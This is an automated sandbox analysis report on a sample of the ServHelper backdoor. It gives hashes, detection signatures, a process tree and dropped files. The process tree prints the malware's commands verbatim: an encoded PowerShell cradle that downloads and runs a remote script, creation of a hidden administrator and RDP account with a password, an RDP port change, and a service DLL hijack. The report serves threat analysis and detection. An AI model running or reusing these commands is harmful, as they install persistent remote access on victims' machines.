Analysis

  • max time kernel
    124s
  • max time network
    109s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    09-08-2021 04:21

General

  • Target

    86178014e457120d9dc6f6e27453338c.exe

  • Size

    6.0MB

  • MD5

    86178014e457120d9dc6f6e27453338c

  • SHA1

    16ab38c0e9c4516532f9d111523e948a6311bfc0

  • SHA256

    d541b9ff1fd68818abd9d0f70966e97beaab82dd6bb32d66566fbd6d657fbfd8

  • SHA512

    746417e600a1a0cb157f6a74422140b1ed75767a7f47f208c46feadac1dcf845637ce986a11cd7ed3f07e9782ff736b8da448057b0eb65cc50df30baa500bf75

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\86178014e457120d9dc6f6e27453338c.exe
    "C:\Users\Admin\AppData\Local\Temp\86178014e457120d9dc6f6e27453338c.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1084
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jwos05d0\jwos05d0.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1752
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1FB1.tmp" "c:\Users\Admin\AppData\Local\Temp\jwos05d0\CSC22ABBD0B181D470C8ADE18864EE5B39D.TMP"
          4⤵
            PID:1348
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:924
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1308
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1208
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1220
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2024
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1716
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:924
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:788
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:932
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1980
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:544
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1360
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:284
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1276
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1424
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:892
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1612
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1192
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1716
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1848
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1752
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1844
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:932
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1540
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:2272
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:2284
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1220
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:2024
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:824
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc x2ZZlQ39 /add
                                  1⤵
                                    PID:1716
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc x2ZZlQ39 /add
                                      2⤵
                                        PID:1984
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc x2ZZlQ39 /add
                                          3⤵
                                            PID:892
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:968
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1212
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:824
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                              1⤵
                                                PID:956
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                  2⤵
                                                    PID:892
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                      3⤵
                                                        PID:1192
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1336
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1308
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1612
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc x2ZZlQ39
                                                          1⤵
                                                            PID:1716
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc x2ZZlQ39
                                                              2⤵
                                                                PID:788
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc x2ZZlQ39
                                                                  3⤵
                                                                    PID:1984
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1308
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1728
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1192
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:892
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1212
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1424
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:956

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1224db42-7593-4e0a-a9dd-53a802380c51

                                                                        MD5

                                                                        7f79b990cb5ed648f9e583fe35527aa7

                                                                        SHA1

                                                                        71b177b48c8bd745ef02c2affad79ca222da7c33

                                                                        SHA256

                                                                        080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683

                                                                        SHA512

                                                                        20926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5bfa02a4-56c4-4b0d-8731-ecaa84524853

                                                                        MD5

                                                                        6f0d509e28be1af95ba237d4f43adab4

                                                                        SHA1

                                                                        c665febe79e435843553bee86a6cea731ce6c5e4

                                                                        SHA256

                                                                        f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e

                                                                        SHA512

                                                                        8dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fb426de-7576-4a4f-a8f2-82c2b3d65330

                                                                        MD5

                                                                        e5b3ba61c3cf07deda462c9b27eb4166

                                                                        SHA1

                                                                        b324dad73048be6e27467315f82b7a5c1438a1f9

                                                                        SHA256

                                                                        b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925

                                                                        SHA512

                                                                        a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_702a450b-524d-476d-a0bb-2f4bf5d8a799

                                                                        MD5

                                                                        faa37917b36371249ac9fcf93317bf97

                                                                        SHA1

                                                                        a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4

                                                                        SHA256

                                                                        b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132

                                                                        SHA512

                                                                        614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7404c170-8fc4-4442-b115-3d8f33044de2

                                                                        MD5

                                                                        d89968acfbd0cd60b51df04860d99896

                                                                        SHA1

                                                                        b3c29916ccb81ce98f95bbf3aa8a73de16298b29

                                                                        SHA256

                                                                        1020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9

                                                                        SHA512

                                                                        b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_89b8b062-b6b0-4fb3-99a9-046a41c0f506

                                                                        MD5

                                                                        a70ee38af4bb2b5ed3eeb7cbd1a12fa3

                                                                        SHA1

                                                                        81dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9

                                                                        SHA256

                                                                        dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d

                                                                        SHA512

                                                                        8c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bf82d09d-0553-4157-bcee-c1e6bccab36d

                                                                        MD5

                                                                        2d5cd190b5db0620cd62e3cd6ba1dcd3

                                                                        SHA1

                                                                        ff4f229f4fbacccdf11d98c04ba756bda80aac7a

                                                                        SHA256

                                                                        ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d

                                                                        SHA512

                                                                        edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

                                                                        MD5

                                                                        3c1dacbf2ce1a12cadb6624682c05a70

                                                                        SHA1

                                                                        662b1055be72720ff5bbabee29e76999647ec47b

                                                                        SHA256

                                                                        d440269a76eba5f3a0fe80445685fc783c1d76ccc3c8318a94a78d16c9e53eca

                                                                        SHA512

                                                                        f2e321bc780b980b3d8ec19cf4b2b832496a3ff5926dd112f35daf33b8ed3cfc456e1a5787164eb7da641b76c5af73d2e354ece7c1b98e8e6847a6af7287eebf

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

                                                                        MD5

                                                                        8c0405f79e2a29e062e070d4da07be69

                                                                        SHA1

                                                                        53356c43677d98b03decbe894c1dedb5cad4aa77

                                                                        SHA256

                                                                        f45832bb8be3512c7a893a6731fafe6df151773cedef249928386333ea71ed36

                                                                        SHA512

                                                                        280291c80d1ac371ab697c134dd8fe7a72afc8207ffa675495c1ff73380f25657bae124fdd087ed5711e30610b3a2094ea638cc82ce3c0922e99bba6d82b9741

                                                                      • C:\Users\Admin\AppData\Local\Temp\RES1FB1.tmp

                                                                        MD5

                                                                        a7bc8978047c96617c041555d8a17604

                                                                        SHA1

                                                                        e89ea61658c7ea07593b8bece8fb04a3a121ba05

                                                                        SHA256

                                                                        445c20a73c3ac33c70d40e059613e911e82cc998c74f3c36a675e1cb03cf1d8b

                                                                        SHA512

                                                                        2f89bdc54f9ce096ca7caf07692522fd7a7e91c53275c3115c3f1f53ae1baba7a7e9b55eaab6a40504795e2ff18fd45d8f54d2ac1a4fdda29a2b19890ef9d8b0

                                                                      • C:\Users\Admin\AppData\Local\Temp\jwos05d0\jwos05d0.dll

                                                                        MD5

                                                                        1caaa54969d3076bea968b8b4dca5c3c

                                                                        SHA1

                                                                        e093d0abe4ac2d0b7c9d0a777adde99067153b06

                                                                        SHA256

                                                                        e449575fde012c46c2513956dc393860149e60be28ca0fa84651c8de22f8462f

                                                                        SHA512

                                                                        dc63ff60a90fcd718986fc89f8721f13ae41207fe759862b9c4b0c1dc668ae861b3f5617233793f767264273ec858dd94e7f375f8032e4eda0c592855e0f0f10

                                                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                                                        MD5

                                                                        3447df88de7128bdc34942334b2fab98

                                                                        SHA1

                                                                        519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                                                        SHA256

                                                                        9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                                                        SHA512

                                                                        2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                                                      • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                                                        MD5

                                                                        90c8165a2ca1c584008751e6604aac5f

                                                                        SHA1

                                                                        c1b2545af59ec7acdec29e91c667aa74a12b9742

                                                                        SHA256

                                                                        2099da06514de677962d66f90b822084878cd4d9bb9e62bfa8c4ed728ddfa974

                                                                        SHA512

                                                                        9d2e477e0b600ae0d82fac78bdabfdb005033c20e28d7c76fb48111a426e315e9bb7e8da5daeb2824dc92c5e084f52aa33c1d5e680fe566c3f21d96b838799a0

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        d7e64482b71d97c368bdce78ee636c43

                                                                        SHA1

                                                                        030e27a5cca10901d60234c02dbdee722d02169d

                                                                        SHA256

                                                                        8062237756a25fea76f1212c872143f31c2e8e6a16e8a0b67a2c3af77902dffb

                                                                        SHA512

                                                                        3897410e305194044594b21329091248d388eac5c37a1f1434425e6f90aed900307df0c189d37b8ab3a3f5599137c6d572fb98ac19632dd8402c88ee9ab376a6

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        d7e64482b71d97c368bdce78ee636c43

                                                                        SHA1

                                                                        030e27a5cca10901d60234c02dbdee722d02169d

                                                                        SHA256

                                                                        8062237756a25fea76f1212c872143f31c2e8e6a16e8a0b67a2c3af77902dffb

                                                                        SHA512

                                                                        3897410e305194044594b21329091248d388eac5c37a1f1434425e6f90aed900307df0c189d37b8ab3a3f5599137c6d572fb98ac19632dd8402c88ee9ab376a6

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        d7e64482b71d97c368bdce78ee636c43

                                                                        SHA1

                                                                        030e27a5cca10901d60234c02dbdee722d02169d

                                                                        SHA256

                                                                        8062237756a25fea76f1212c872143f31c2e8e6a16e8a0b67a2c3af77902dffb

                                                                        SHA512

                                                                        3897410e305194044594b21329091248d388eac5c37a1f1434425e6f90aed900307df0c189d37b8ab3a3f5599137c6d572fb98ac19632dd8402c88ee9ab376a6

                                                                      • C:\Windows\system32\rfxvmt.dll

                                                                        MD5

                                                                        dc39d23e4c0e681fad7a3e1342a2843c

                                                                        SHA1

                                                                        58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                                        SHA256

                                                                        6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                                        SHA512

                                                                        5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                                      • \??\PIPE\lsarpc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\lsarpc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\srvsvc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\wkssvc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\jwos05d0\CSC22ABBD0B181D470C8ADE18864EE5B39D.TMP

                                                                        MD5

                                                                        1cf5f91c4e61122ab89eb8413aefe0c0

                                                                        SHA1

                                                                        778a9e6fa082bb1df39ffb7aa906eb6366efda2e

                                                                        SHA256

                                                                        ccc56dcb0813869a17a42c2ca262d1c7de89b773d498b6ab69eb8de15c991af5

                                                                        SHA512

                                                                        b7a3e787596c5daf11ecf8d80af5441c4082fc8940973eccdde6c3436ee8eff2e20484c259619c08389a28800865d2ad93adba08c4c3c8e4ad1f73da09a30a2b

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\jwos05d0\jwos05d0.0.cs

                                                                        MD5

                                                                        4864fc038c0b4d61f508d402317c6e9a

                                                                        SHA1

                                                                        72171db3eea76ecff3f7f173b0de0d277b0fede7

                                                                        SHA256

                                                                        0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                                                        SHA512

                                                                        9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\jwos05d0\jwos05d0.cmdline

                                                                        MD5

                                                                        eb35bcbf52d2a566d4024c8ed0373a6d

                                                                        SHA1

                                                                        3b594ae69e2a4967fd51034274e4dfa2bdd3ac9d

                                                                        SHA256

                                                                        487cb491e5217c0e812f1111587d5c1a084ed887d9d8adc5a1fd55e8c7956b63

                                                                        SHA512

                                                                        d4d277c1b00179f5b3ee2b99bc32b506b16c92862d2a2f54ed37968cc77368b8809c4a8c4161d760cca34bbf830b47d72ed95cbd4fec0e558a4120d99409e85b

                                                                      • \Windows\Branding\mediasrv.png

                                                                        MD5

                                                                        615f99f0e93e2cc4c6a3a572835fd63d

                                                                        SHA1

                                                                        c383f93e9a47adc4d4b265fadfcc3feaf0980a91

                                                                        SHA256

                                                                        bc0a2d80569c16b63f59d629c91bfa40f76247e39c2a41dbffb0e41d1eea9ee8

                                                                        SHA512

                                                                        dd1196a3067f740be9c8d3cbcfcb7ec511f77daf3ba28929ef8e989597d7a9de5a59e990a7edda5491ef75413967c7db42e6941ec51523428f7fd6a8353f21ba

                                                                      • \Windows\Branding\mediasvc.png

                                                                        MD5

                                                                        5b49a655bf1bd6bcb3551bb1cba2a97b

                                                                        SHA1

                                                                        a32f1358093e7e3d8ab6abcc286fc2d92a501f78

                                                                        SHA256

                                                                        40bbfb4ea867dff557fa9f20ef53d2b31708c847d2c4b601a55f9eabe69c57ca

                                                                        SHA512

